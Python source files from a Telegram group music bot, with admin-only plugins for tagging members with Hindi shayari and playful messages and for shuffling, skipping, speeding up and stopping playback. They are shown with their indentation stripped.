" 🌺**आईना देखोगे तो मेरी याद आएगी साथ गुज़री वो मुलाकात याद आएगी पल भर क लिए वक़्त ठहर जाएगा, जब आपको मेरी कोई बात याद आएगी.**🌺\n\n**🥀Aaina dekhoge to meri yad ayegi sath guzari wo mulakat yad ayegi pal bhar ke waqt thahar jayega jab apko meri koi bat yad ayegi.🥀** ",
" 🌺**प्यार किया तो उनकी मोहब्बत नज़र आई दर्द हुआ तो पलके उनकी भर आई दो दिलों की धड़कन में एक बात नज़र आई दिल तो उनका धड़का पर आवाज़ इस दिल की आई.**🌺\n\n**🥀Pyar kiya to unki mohabbat nazar aai dard hua to palke unki bhar aai do dilon ki dhadkan me ek baat nazar aai dil to unka dhadka par awaz dil ki aai.🥀** ",
" 🌺**कई चेहरे लेकर लोग यहाँ जिया करते हैं हम तो बस एक ही चेहरे से प्यार करते हैं ना छुपाया करो तुम इस चेहरे को,क्योंकि हम इसे देख के ही जिया करते हैं.**🌺\n\n**🥀Kai chehre lekar log yahn jiya karte hai hum to bas ek hi chehre se pyar karte hai na chupaya karo tum is chehre ko kyuki hum ise dekh ke hi jiya karte hai.🥀** ",
" 🌺**सबके bf को अपनी gf से बात करके नींद आजाती है और मेरे वाले को मुझसे लड़े बिना नींद नहीं आती।**🌺\n\n**🥀Sabke bf ko apni gf se baat karke nind aajati hai aur mere wale ko mujhse lade bina nind nhi aati.🥀** ",
" 🌺**सच्चा प्यार कहा किसी के नसीब में होता है. एसा प्यार कहा इस दुनिया में किसी को नसीब होता है.**🌺\n\n**🥀Sacha pyar kaha kisi ke nasib me hota hai esa pyar kahan is duniya me kisi ko nasib hota hai.🥀** " ]
# Command
@app.on_message(filters.command(["shayari" ], prefixes=["/", "@", "#"]))
async def mentionall(client, message):
chat_id = message.chat.id
if message.chat.type == ChatType.PRIVATE:
return await message.reply("𝐓𝐡𝐢𝐬 𝐂𝐨𝐦𝐦𝐚𝐧𝐝 𝐎𝐧𝐥𝐲 𝐅𝐨𝐫 𝐆𝐫𝐨𝐮𝐩𝐬.")
is_admin = False
try:
participant = await client.get_chat_member(chat_id, message.from_user.id)
except UserNotParticipant:
is_admin = False
else:
if participant.status in (
ChatMemberStatus.ADMINISTRATOR,
ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
return await message.reply("𝐘𝐨𝐮 𝐀𝐫𝐞 𝐍𝐨𝐭 𝐀𝐝𝐦𝐢𝐧 𝐁𝐚𝐛𝐲, 𝐎𝐧𝐥𝐲 𝐀𝐝𝐦𝐢𝐧𝐬 𝐂𝐚𝐧 . ")
if message.reply_to_message and message.text:
return await message.reply("/shayaril 𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ")
elif message.text:
mode = "text_on_cmd"
msg = message.text
elif message.reply_to_message:
mode = "text_on_reply"
msg = message.reply_to_message
if not msg:
return await message.reply("/shayari 𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ...")
else:
return await message.reply("/shayari 𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ..")
if chat_id in spam_chats:
return await message.reply("𝐏𝐥𝐞𝐚𝐬𝐞 𝐀𝐭 𝐅𝐢𝐫𝐬𝐭 𝐒𝐭𝐨𝐩 𝐑𝐮𝐧𝐧𝐢𝐧𝐠 𝐏𝐫𝐨𝐜𝐞𝐬𝐬 ...")
spam_chats.append(chat_id)
usrnum = 0
usrtxt = ""
async for usr in client.get_chat_members(chat_id):
if not chat_id in spam_chats:
break
if usr.user.is_bot:
continue
usrnum += 1
usrtxt += "{}".format(usr.user.id, usr.user.first_name)
if usrnum == 1:
if mode == "text_on_cmd":
txt = f"{usrtxt} {random.choice(SHAYRI)}"
await client.send_message(chat_id, txt)
elif mode == "text_on_reply":
await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})")
await asyncio.sleep(4)
usrnum = 0
usrtxt = ""
try:
spam_chats.remove(chat_id)
except:
pass
#
@app.on_message(filters.command(["cancelshayari", "shayarioff"]))
async def cancel_spam(client, message):
if not message.chat.id in spam_chats:
return await message.reply("𝐂𝐮𝐫𝐫𝐞𝐧𝐭𝐥𝐲 𝐈'𝐦 𝐍𝐨𝐭 ..")
is_admin = False
try:
participant = await client.get_chat_member(message.chat.id, message.from_user.id)
except UserNotParticipant:
is_admin = False
else:
if participant.status in (
ChatMemberStatus.ADMINISTRATOR,
ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
return await message.reply("𝐘𝐨𝐮 𝐀𝐫𝐞 𝐍𝐨𝐭 𝐀𝐝𝐦𝐢𝐧 𝐁𝐚𝐛𝐲, 𝐎𝐧𝐥𝐲 𝐀𝐝𝐦𝐢𝐧𝐬 𝐂𝐚𝐧 𝐓𝐚𝐠 𝐌𝐞𝐦𝐛𝐞𝐫𝐬.")
else:
try:
spam_chats.remove(message.chat.id)
except:
pass
return await message.reply("👣 𝐁𝐑𝐀𝐍𝐃𝐄𝐃 𝐒𝐇𝐀𝐘𝐀𝐑𝐈 𝐏𝐑𝐎𝐂𝐄𝐒𝐒 𝐒𝐓𝐎𝐏𝐏𝐄𝐃 💗")
================================================
FILE: BrandrdXMusic/plugins/admins/shuffle.py
================================================
import random
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.misc import db
from BrandrdXMusic.utils.decorators import AdminRightsCheck
from BrandrdXMusic.utils.inline import close_markup
from config import BANNED_USERS
@app.on_message(
filters.command(["shuffle", "cshuffle"]) & filters.group & ~BANNED_USERS
)
@AdminRightsCheck
async def admins(Client, message: Message, _, chat_id):
check = db.get(chat_id)
if not check:
return await message.reply_text(_["queue_2"])
try:
popped = check.pop(0)
except:
return await message.reply_text(_["admin_15"], reply_markup=close_markup(_))
check = db.get(chat_id)
if not check:
check.insert(0, popped)
return await message.reply_text(_["admin_15"], reply_markup=close_markup(_))
random.shuffle(check)
check.insert(0, popped)
await message.reply_text(
_["admin_16"].format(message.from_user.mention), reply_markup=close_markup(_)
)
================================================
FILE: BrandrdXMusic/plugins/admins/skip.py
================================================
from pyrogram import filters
from pyrogram.types import InlineKeyboardMarkup, Message
import config
from BrandrdXMusic import YouTube, app
from BrandrdXMusic.core.call import Hotty
from BrandrdXMusic.misc import db
from BrandrdXMusic.utils.database import get_loop
from BrandrdXMusic.utils.decorators import AdminRightsCheck
from BrandrdXMusic.utils.inline import close_markup, stream_markup
from BrandrdXMusic.utils.stream.autoclear import auto_clean
from BrandrdXMusic.utils.thumbnails import get_thumb
from config import BANNED_USERS
@app.on_message(
filters.command(["skip", "cskip", "next", "cnext"]) & filters.group & ~BANNED_USERS
)
@AdminRightsCheck
async def skip(cli, message: Message, _, chat_id):
if not len(message.command) < 2:
loop = await get_loop(chat_id)
if loop != 0:
return await message.reply_text(_["admin_8"])
state = message.text.split(None, 1)[1].strip()
if state.isnumeric():
state = int(state)
check = db.get(chat_id)
if check:
count = len(check)
if count > 2:
count = int(count - 1)
if 1 <= state <= count:
for x in range(state):
popped = None
try:
popped = check.pop(0)
except:
return await message.reply_text(_["admin_12"])
if popped:
await auto_clean(popped)
if not check:
try:
await message.reply_text(
text=_["admin_6"].format(
message.from_user.mention,
message.chat.title,
),
reply_markup=close_markup(_),
)
await Hotty.stop_stream(chat_id)
except:
return
break
else:
return await message.reply_text(_["admin_11"].format(count))
else:
return await message.reply_text(_["admin_10"])
else:
return await message.reply_text(_["queue_2"])
else:
return await message.reply_text(_["admin_9"])
else:
check = db.get(chat_id)
popped = None
try:
popped = check.pop(0)
if popped:
await auto_clean(popped)
if not check:
await message.reply_text(
text=_["admin_6"].format(
message.from_user.mention, message.chat.title
),
reply_markup=close_markup(_),
)
try:
return await Hotty.stop_stream(chat_id)
except:
return
except:
try:
await message.reply_text(
text=_["admin_6"].format(
message.from_user.mention, message.chat.title
),
reply_markup=close_markup(_),
)
return await Hotty.stop_stream(chat_id)
except:
return
queued = check[0]["file"]
title = (check[0]["title"]).title()
user = check[0]["by"]
streamtype = check[0]["streamtype"]
videoid = check[0]["vidid"]
status = True if str(streamtype) == "video" else None
db[chat_id][0]["played"] = 0
exis = (check[0]).get("old_dur")
if exis:
db[chat_id][0]["dur"] = exis
db[chat_id][0]["seconds"] = check[0]["old_second"]
db[chat_id][0]["speed_path"] = None
db[chat_id][0]["speed"] = 1.0
if "live_" in queued:
n, link = await YouTube.video(videoid, True)
if n == 0:
return await message.reply_text(_["admin_7"].format(title))
try:
image = await YouTube.thumbnail(videoid, True)
except:
image = None
try:
await Hotty.skip_stream(chat_id, link, video=status, image=image)
except:
return await message.reply_text(_["call_6"])
button = stream_markup2(_, chat_id)
img = await get_thumb(videoid)
run = await message.reply_photo(
photo=img,
caption=_["stream_1"].format(
f"https://t.me/{app.username}?start=info_{videoid}",
title[:23],
check[0]["dur"],
user,
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
elif "vid_" in queued:
mystic = await message.reply_text(_["call_7"], disable_web_page_preview=True)
try:
file_path, direct = await YouTube.download(
videoid,
mystic,
videoid=True,
video=status,
)
except:
return await mystic.edit_text(_["call_6"])
try:
image = await YouTube.thumbnail(videoid, True)
except:
image = None
try:
await Hotty.skip_stream(chat_id, file_path, video=status, image=image)
except:
return await mystic.edit_text(_["call_6"])
button = stream_markup(_, videoid, chat_id)
img = await get_thumb(videoid)
run = await message.reply_photo(
photo=img,
caption=_["stream_1"].format(
f"https://t.me/{app.username}?start=info_{videoid}",
title[:23],
check[0]["dur"],
user,
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "stream"
await mystic.delete()
elif "index_" in queued:
try:
await Hotty.skip_stream(chat_id, videoid, video=status)
except:
return await message.reply_text(_["call_6"])
button = stream_markup2(_, chat_id)
run = await message.reply_photo(
photo=config.STREAM_IMG_URL,
caption=_["stream_2"].format(user),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
else:
if videoid == "telegram":
image = None
elif videoid == "soundcloud":
image = None
else:
try:
image = await YouTube.thumbnail(videoid, True)
except:
image = None
try:
await Hotty.skip_stream(chat_id, queued, video=status, image=image)
except:
return await message.reply_text(_["call_6"])
if videoid == "telegram":
button = stream_markup2(_, chat_id)
run = await message.reply_photo(
photo=config.TELEGRAM_AUDIO_URL
if str(streamtype) == "audio"
else config.TELEGRAM_VIDEO_URL,
caption=_["stream_1"].format(
config.SUPPORT_CHAT, title[:23], check[0]["dur"], user
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
elif videoid == "soundcloud":
button = stream_markup(_, chat_id)
run = await message.reply_photo(
photo=config.SOUNCLOUD_IMG_URL
if str(streamtype) == "audio"
else config.TELEGRAM_VIDEO_URL,
caption=_["stream_1"].format(
config.SUPPORT_CHAT, title[:23], check[0]["dur"], user
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
else:
button = stream_markup(_, videoid, chat_id)
img = await get_thumb(videoid)
run = await message.reply_photo(
photo=img,
caption=_["stream_1"].format(
f"https://t.me/{app.username}?start=info_{videoid}",
title[:23],
check[0]["dur"],
user,
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "stream"
================================================
FILE: BrandrdXMusic/plugins/admins/speed.py
================================================
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.core.call import Hotty
from BrandrdXMusic.misc import SUDOERS, db
from BrandrdXMusic.utils import AdminRightsCheck
from BrandrdXMusic.utils.database import is_active_chat, is_nonadmin_chat
from BrandrdXMusic.utils.decorators.language import languageCB
from BrandrdXMusic.utils.inline import close_markup, speed_markup
from config import BANNED_USERS, adminlist
checker = []
@app.on_message(
filters.command(["cspeed", "speed", "cslow", "slow", "playback", "cplayback"])
& filters.group
& ~BANNED_USERS
)
@AdminRightsCheck
async def playback(cli, message: Message, _, chat_id):
playing = db.get(chat_id)
if not playing:
return await message.reply_text(_["queue_2"])
duration_seconds = int(playing[0]["seconds"])
if duration_seconds == 0:
return await message.reply_text(_["admin_27"])
file_path = playing[0]["file"]
if "downloads" not in file_path:
return await message.reply_text(_["admin_27"])
upl = speed_markup(_, chat_id)
return await message.reply_text(
text=_["admin_28"].format(app.mention),
reply_markup=upl,
)
@app.on_callback_query(filters.regex("SpeedUP") & ~BANNED_USERS)
@languageCB
async def del_back_playlist(client, CallbackQuery, _):
callback_data = CallbackQuery.data.strip()
callback_request = callback_data.split(None, 1)[1]
chat, speed = callback_request.split("|")
chat_id = int(chat)
if not await is_active_chat(chat_id):
return await CallbackQuery.answer(_["general_5"], show_alert=True)
is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)
if not is_non_admin:
if CallbackQuery.from_user.id not in SUDOERS:
admins = adminlist.get(CallbackQuery.message.chat.id)
if not admins:
return await CallbackQuery.answer(_["admin_13"], show_alert=True)
else:
if CallbackQuery.from_user.id not in admins:
return await CallbackQuery.answer(_["admin_14"], show_alert=True)
playing = db.get(chat_id)
if not playing:
return await CallbackQuery.answer(_["queue_2"], show_alert=True)
duration_seconds = int(playing[0]["seconds"])
if duration_seconds == 0:
return await CallbackQuery.answer(_["admin_27"], show_alert=True)
file_path = playing[0]["file"]
if "downloads" not in file_path:
return await CallbackQuery.answer(_["admin_27"], show_alert=True)
checkspeed = (playing[0]).get("speed")
if checkspeed:
if str(checkspeed) == str(speed):
if str(speed) == str("1.0"):
return await CallbackQuery.answer(
_["admin_29"],
show_alert=True,
)
else:
if str(speed) == str("1.0"):
return await CallbackQuery.answer(
_["admin_29"],
show_alert=True,
)
if chat_id in checker:
return await CallbackQuery.answer(
_["admin_30"],
show_alert=True,
)
else:
checker.append(chat_id)
try:
await CallbackQuery.answer(
_["admin_31"],
)
except:
pass
mystic = await CallbackQuery.edit_message_text(
text=_["admin_32"].format(CallbackQuery.from_user.mention),
)
try:
await Hotty.speedup_stream(
chat_id,
file_path,
speed,
playing,
)
except:
if chat_id in checker:
checker.remove(chat_id)
return await mystic.edit_text(_["admin_33"], reply_markup=close_markup(_))
if chat_id in checker:
checker.remove(chat_id)
await mystic.edit_text(
text=_["admin_34"].format(speed, CallbackQuery.from_user.mention),
reply_markup=close_markup(_),
)
================================================
FILE: BrandrdXMusic/plugins/admins/stop.py
================================================
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.core.call import Hotty
from BrandrdXMusic.utils.database import set_loop
from BrandrdXMusic.utils.decorators import AdminRightsCheck
from BrandrdXMusic.utils.inline import close_markup
from config import BANNED_USERS
@app.on_message(
filters.command(["end", "stop", "cend", "cstop"]) & filters.group & ~BANNED_USERS
)
@AdminRightsCheck
async def stop_music(cli, message: Message, _, chat_id):
if not len(message.command) == 1:
return
await Hotty.stop_stream(chat_id)
await set_loop(chat_id, 0)
await message.reply_text(
_["admin_5"].format(message.from_user.mention), reply_markup=close_markup(_)
)
================================================
FILE: BrandrdXMusic/plugins/admins/tagall.py
================================================
from BrandrdXMusic import app
import asyncio
import random
from pyrogram import Client, filters
from pyrogram.enums import ChatType, ChatMemberStatus
from pyrogram.errors import UserNotParticipant
from pyrogram.types import ChatPermissions
spam_chats = []
EMOJI = [ "🦋🦋🦋🦋🦋",
"🧚🌸🧋🍬🫖",
"🥀🌷🌹🌺💐",
"🌸🌿💮🌱🌵",
"❤️💚💙💜🖤",
"💓💕💞💗💖",
"🌸💐🌺🌹🦋",
"🍔🦪🍛🍲🥗",
"🍎🍓🍒🍑🌶️",
"🧋🥤🧋🥛🍷",
"🍬🍭🧁🎂🍡",
"🍨🧉🍺☕🍻",
"🥪🥧🍦🍥🍚",
"🫖☕🍹🍷🥛",
"☕🧃🍩🍦🍙",
"🍁🌾💮🍂🌿",
"🌨️🌥️⛈️🌩️🌧️",
"🌷🏵️🌸🌺💐",
"💮🌼🌻🍀🍁",
"🧟🦸🦹🧙👸",
"🧅🍠🥕🌽🥦",
"🐷🐹🐭🐨🐻❄️",
"🦋🐇🐀🐈🐈⬛",
"🌼🌳🌲🌴🌵",
"🥩🍋🍐🍈🍇",
"🍴🍽️🔪🍶🥃",
"🕌🏰🏩⛩️🏩",
"🎉🎊🎈🎂🎀",
"🪴🌵🌴🌳🌲",
"🎄🎋🎍🎑🎎",
"🦅🦜🕊️🦤🦢",
"🦤🦩🦚🦃🦆",
"🐬🦭🦈🐋🐳",
"🐔🐟🐠🐡🦐",
"🦩🦀🦑🐙🦪",
"🐦🦂🕷️🕸️🐚",
"🥪🍰🥧🍨🍨",
" 🥬🍉🧁🧇",
]
TAGMES = [ " **𝐇𝐞𝐲 𝐁𝐚𝐛𝐲 𝐊𝐚𝐡𝐚 𝐇𝐨🤗🥱** ",
" **𝐎𝐲𝐞 𝐒𝐨 𝐆𝐲𝐞 𝐊𝐲𝐚 𝐎𝐧𝐥𝐢𝐧𝐞 𝐀𝐚𝐨😊** ",
" **𝐕𝐜 𝐂𝐡𝐚𝐥𝐨 𝐁𝐚𝐭𝐞𝐧 𝐊𝐚𝐫𝐭𝐞 𝐇𝐚𝐢𝐧 𝐊𝐮𝐜𝐡 𝐊𝐮𝐜𝐡😃** ",
" **𝐊𝐡𝐚𝐧𝐚 𝐊𝐡𝐚 𝐋𝐢𝐲𝐞 𝐉𝐢..??🥲** ",
" **𝐆𝐡𝐚𝐫 𝐌𝐞 𝐒𝐚𝐛 𝐊𝐚𝐢𝐬𝐞 𝐇𝐚𝐢𝐧 𝐉𝐢🥺** ",
" **𝐏𝐭𝐚 𝐇𝐚𝐢 𝐁𝐨𝐡𝐨𝐭 𝐌𝐢𝐬𝐬 𝐊𝐚𝐫 𝐑𝐡𝐢 𝐓𝐡𝐢 𝐀𝐚𝐩𝐤𝐨🤭** ",
" **𝐎𝐲𝐞 𝐇𝐚𝐥 𝐂𝐡𝐚𝐥 𝐊𝐞𝐬𝐚 𝐇𝐚𝐢..??🤨** ",
" **𝐌𝐞𝐫𝐢 𝐁𝐡𝐢 𝐒𝐞𝐭𝐭𝐢𝐧𝐠 𝐊𝐚𝐫𝐛𝐚 𝐃𝐨𝐠𝐞..??🙂** ",
" **𝐀𝐚𝐩𝐤𝐚 𝐍𝐚𝐦𝐞 𝐊𝐲𝐚 𝐡𝐚𝐢..??🥲** ",
" **𝐍𝐚𝐬𝐭𝐚 𝐇𝐮𝐚 𝐀𝐚𝐩𝐤𝐚..??😋** ",
" **𝐌𝐞𝐫𝐞 𝐊𝐨 𝐀𝐩𝐧𝐞 𝐆𝐫𝐨𝐮𝐩 𝐌𝐞 𝐊𝐢𝐝𝐧𝐚𝐩 𝐊𝐫 𝐋𝐨😍** ",
" **𝐀𝐚𝐩𝐤𝐢 𝐏𝐚𝐫𝐭𝐧𝐞𝐫 𝐀𝐚𝐩𝐤𝐨 𝐃𝐡𝐮𝐧𝐝 𝐑𝐡𝐞 𝐇𝐚𝐢𝐧 𝐉𝐥𝐝𝐢 𝐎𝐧𝐥𝐢𝐧𝐞 𝐀𝐲𝐢𝐚𝐞😅😅** ",
" **𝐌𝐞𝐫𝐞 𝐒𝐞 𝐃𝐨𝐬𝐭𝐢 𝐊𝐫𝐨𝐠𝐞..??🤔** ",
" **𝐒𝐨𝐧𝐞 𝐂𝐡𝐚𝐥 𝐆𝐲𝐞 𝐊𝐲𝐚🙄🙄** ",
" **𝐄𝐤 𝐒𝐨𝐧𝐠 𝐏𝐥𝐚𝐲 𝐊𝐫𝐨 𝐍𝐚 𝐏𝐥𝐬𝐬😕** ",
" **𝐀𝐚𝐩 𝐊𝐚𝐡𝐚 𝐒𝐞 𝐇𝐨..??🙃** ",
" **𝐇𝐞𝐥𝐥𝐨 𝐉𝐢 𝐍𝐚𝐦𝐚𝐬𝐭𝐞😛** ",
" **𝐇𝐞𝐥𝐥𝐨 𝐁𝐚𝐛𝐲 𝐊𝐤𝐫𝐡..?🤔** ",
" **𝐃𝐨 𝐘𝐨𝐮 𝐊𝐧𝐨𝐰 𝐖𝐡𝐨 𝐈𝐬 𝐌𝐲 𝐎𝐰𝐧𝐞𝐫 [@BRANDEDKING82].?** ",
" **𝐂𝐡𝐥𝐨 𝐊𝐮𝐜𝐡 𝐆𝐚𝐦𝐞 𝐊𝐡𝐞𝐥𝐭𝐞 𝐇𝐚𝐢𝐧.🤗** ",
" **𝐀𝐮𝐫 𝐁𝐚𝐭𝐚𝐨 𝐊𝐚𝐢𝐬𝐞 𝐇𝐨 𝐁𝐚𝐛𝐲😇** ",
" **𝐓𝐮𝐦𝐡𝐚𝐫𝐢 𝐌𝐮𝐦𝐦𝐲 𝐊𝐲𝐚 𝐊𝐚𝐫 𝐑𝐚𝐡𝐢 𝐇𝐚𝐢🤭** ",
" **𝐌𝐞𝐫𝐞 𝐒𝐞 𝐁𝐚𝐭 𝐍𝐨𝐢 𝐊𝐫𝐨𝐠𝐞🥺🥺** ",
" **𝐎𝐲𝐞 𝐏𝐚𝐠𝐚𝐥 𝐎𝐧𝐥𝐢𝐧𝐞 𝐀𝐚 𝐉𝐚😶** ",
" **𝐀𝐚𝐣 𝐇𝐨𝐥𝐢𝐝𝐚𝐲 𝐇𝐚𝐢 𝐊𝐲𝐚 𝐒𝐜𝐡𝐨𝐨𝐥 𝐌𝐞..??🤔** ",
" **𝐎𝐲𝐞 𝐆𝐨𝐨𝐝 𝐌𝐨𝐫𝐧𝐢𝐧𝐠😜** ",
" **𝐒𝐮𝐧𝐨 𝐄𝐤 𝐊𝐚𝐦 𝐇𝐚𝐢 𝐓𝐮𝐦𝐬𝐞🙂** ",
" **𝐊𝐨𝐢 𝐒𝐨𝐧𝐠 𝐏𝐥𝐚𝐲 𝐊𝐫𝐨 𝐍𝐚😪** ",
" **𝐍𝐢𝐜𝐞 𝐓𝐨 𝐌𝐞𝐞𝐭 𝐔𝐡☺** ",
" **𝐇𝐞𝐥𝐥𝐨🙊** ",
" **𝐒𝐭𝐮𝐝𝐲 𝐂𝐨𝐦𝐥𝐞𝐭𝐞 𝐇𝐮𝐚??😺** ",
" **𝐁𝐨𝐥𝐨 𝐍𝐚 𝐊𝐮𝐜𝐡 𝐘𝐫𝐫🥲** ",
" **𝐒𝐨𝐧𝐚𝐥𝐢 𝐊𝐨𝐧 𝐇𝐚𝐢...??😅** ",
" **𝐓𝐮𝐦𝐡𝐚𝐫𝐢 𝐄𝐤 𝐏𝐢𝐜 𝐌𝐢𝐥𝐞𝐠𝐢..?😅** ",
" **𝐌𝐮𝐦𝐦𝐲 𝐀𝐚 𝐆𝐲𝐢 𝐊𝐲𝐚😆😆😆** ",
" **𝐎𝐫 𝐁𝐚𝐭𝐚𝐨 𝐁𝐡𝐚𝐛𝐡𝐢 𝐊𝐚𝐢𝐬𝐢 𝐇𝐚𝐢😉** ",
" **𝐈 𝐋𝐨𝐯𝐞 𝐘𝐨𝐮🙈🙈🙈** ",
" **𝐃𝐨 𝐘𝐨𝐮 𝐋𝐨𝐯𝐞 𝐌𝐞..?👀** ",
" **𝐑𝐚𝐤𝐡𝐢 𝐊𝐚𝐛 𝐁𝐚𝐧𝐝 𝐑𝐚𝐡𝐢 𝐇𝐨.??🙉** ",
" **𝐄𝐤 𝐒𝐨𝐧𝐠 𝐒𝐮𝐧𝐚𝐮..?😹** ",
" **𝐎𝐧𝐥𝐢𝐧𝐞 𝐀𝐚 𝐉𝐚 𝐑𝐞 𝐒𝐨𝐧𝐠 𝐒𝐮𝐧𝐚 𝐑𝐚𝐡𝐢 𝐇𝐮😻** ",
" **𝐈𝐧𝐬𝐭𝐚𝐠𝐫𝐚𝐦 𝐂𝐡𝐚𝐥𝐚𝐭𝐞 𝐇𝐨..??🙃** ",
" **𝐖𝐡𝐚𝐭𝐬𝐚𝐩𝐩 𝐍𝐮𝐦𝐛𝐞𝐫 𝐃𝐨𝐠𝐞 𝐀𝐩𝐧𝐚 𝐓𝐮𝐦..?😕** ",
" **𝐓𝐮𝐦𝐡𝐞 𝐊𝐨𝐧 𝐒𝐚 𝐌𝐮𝐬𝐢𝐜 𝐒𝐮𝐧𝐧𝐚 𝐏𝐚𝐬𝐚𝐧𝐝 𝐇𝐚𝐢..?🙃** ",
" **𝐒𝐚𝐫𝐚 𝐊𝐚𝐦 𝐊𝐡𝐚𝐭𝐚𝐦 𝐇𝐨 𝐆𝐲𝐚 𝐀𝐚𝐩𝐤𝐚..?🙃** ",
" **𝐊𝐚𝐡𝐚 𝐒𝐞 𝐇𝐨 𝐀𝐚𝐩😊** ",
" **𝐒𝐮𝐧𝐨 𝐍𝐚 [@BRANDRD_BOT]🧐** ",
" **𝐌𝐞𝐫𝐚 𝐄𝐤 𝐊𝐚𝐚𝐦 𝐊𝐚𝐫 𝐃𝐨𝐠𝐞..?** ",
" **𝐁𝐲 𝐓𝐚𝐭𝐚 𝐌𝐚𝐭 𝐁𝐚𝐭 𝐊𝐚𝐫𝐧𝐚 𝐀𝐚𝐣 𝐊𝐞 𝐁𝐚𝐝😠** ",
" **𝐌𝐨𝐦 𝐃𝐚𝐝 𝐊𝐚𝐢𝐬𝐞 𝐇𝐚𝐢𝐧..?❤** ",
" **𝐊𝐲𝐚 𝐇𝐮𝐚..?👱** ",
" **𝐁𝐨𝐡𝐨𝐭 𝐘𝐚𝐚𝐝 𝐀𝐚 𝐑𝐡𝐢 𝐇𝐚𝐢 🤧❣️** ",
" **𝐁𝐡𝐮𝐥 𝐆𝐲𝐞 𝐌𝐮𝐣𝐡𝐞😏😏** ",
" **𝐉𝐮𝐭𝐡 𝐍𝐡𝐢 𝐁𝐨𝐥𝐧𝐚 𝐂𝐡𝐚𝐡𝐢𝐲𝐞🤐** ",
" **𝐊𝐡𝐚 𝐋𝐨 𝐁𝐡𝐚𝐰 𝐌𝐚𝐭 𝐊𝐫𝐨 𝐁𝐚𝐚𝐭😒** ",
" **𝐊𝐲𝐚 𝐇𝐮𝐚😮😮** "
" **𝐇𝐢𝐢👀** ",
" **𝐀𝐚𝐩𝐤𝐞 𝐉𝐚𝐢𝐬𝐚 𝐃𝐨𝐬𝐭 𝐇𝐨 𝐒𝐚𝐭𝐡 𝐌𝐞 𝐅𝐢𝐫 𝐆𝐮𝐦 𝐊𝐢𝐬 𝐁𝐚𝐭 𝐊𝐚 🙈** ",
" **𝐀𝐚𝐣 𝐌𝐚𝐢 𝐒𝐚𝐝 𝐇𝐮 ☹️** ",
" **𝐌𝐮𝐬𝐣𝐡𝐬𝐞 𝐁𝐡𝐢 𝐁𝐚𝐭 𝐊𝐚𝐫 𝐋𝐨 𝐍𝐚 🥺🥺** ",
" **𝐊𝐲𝐚 𝐊𝐚𝐫 𝐑𝐚𝐡𝐞 𝐇𝐨👀** ",
" **𝐊𝐲𝐚 𝐇𝐚𝐥 𝐂𝐡𝐚𝐥 𝐇𝐚𝐢 🙂** ",
" **𝐊𝐚𝐡𝐚 𝐒𝐞 𝐇𝐨 𝐀𝐚𝐩..?🤔** ",
" **𝐂𝐡𝐚𝐭𝐭𝐢𝐧𝐠 𝐊𝐚𝐫 𝐋𝐨 𝐍𝐚..🥺** ",
" **𝐌𝐞 𝐌𝐚𝐬𝐨𝐨𝐦 𝐇𝐮 𝐍𝐚🥺🥺** ",
" **𝐊𝐚𝐥 𝐌𝐚𝐣𝐚 𝐀𝐲𝐚 𝐓𝐡𝐚 𝐍𝐚🤭😅** ",
" **𝐆𝐫𝐨𝐮𝐩 𝐌𝐞 𝐁𝐚𝐭 𝐊𝐲𝐮 𝐍𝐚𝐡𝐢 𝐊𝐚𝐫𝐭𝐞 𝐇𝐨😕** ",
" **𝐀𝐚𝐩 𝐑𝐞𝐥𝐚𝐭𝐢𝐨𝐦𝐬𝐡𝐢𝐩 𝐌𝐞 𝐇𝐨..?👀** ",
" **𝐊𝐢𝐭𝐧𝐚 𝐂𝐡𝐮𝐩 𝐑𝐚𝐡𝐭𝐞 𝐇𝐨 𝐘𝐫𝐫😼** ",
" **𝐀𝐚𝐩𝐤𝐨 𝐆𝐚𝐧𝐚 𝐆𝐚𝐧𝐞 𝐀𝐚𝐭𝐚 𝐇𝐚𝐢..?😸** ",
" **𝐆𝐡𝐮𝐦𝐧𝐞 𝐂𝐡𝐚𝐥𝐨𝐠𝐞..??🙈** ",
" **𝐊𝐡𝐮𝐬 𝐑𝐚𝐡𝐚 𝐊𝐚𝐫𝐨 ✌️🤞** ",
" **𝐇𝐚𝐦 𝐃𝐨𝐬𝐭 𝐁𝐚𝐧 𝐒𝐚𝐤𝐭𝐞 𝐇𝐚𝐢...?🥰** ",
" **𝐊𝐮𝐜𝐡 𝐁𝐨𝐥 𝐊𝐲𝐮 𝐍𝐡𝐢 𝐑𝐚𝐡𝐞 𝐇𝐨..🥺🥺** ",
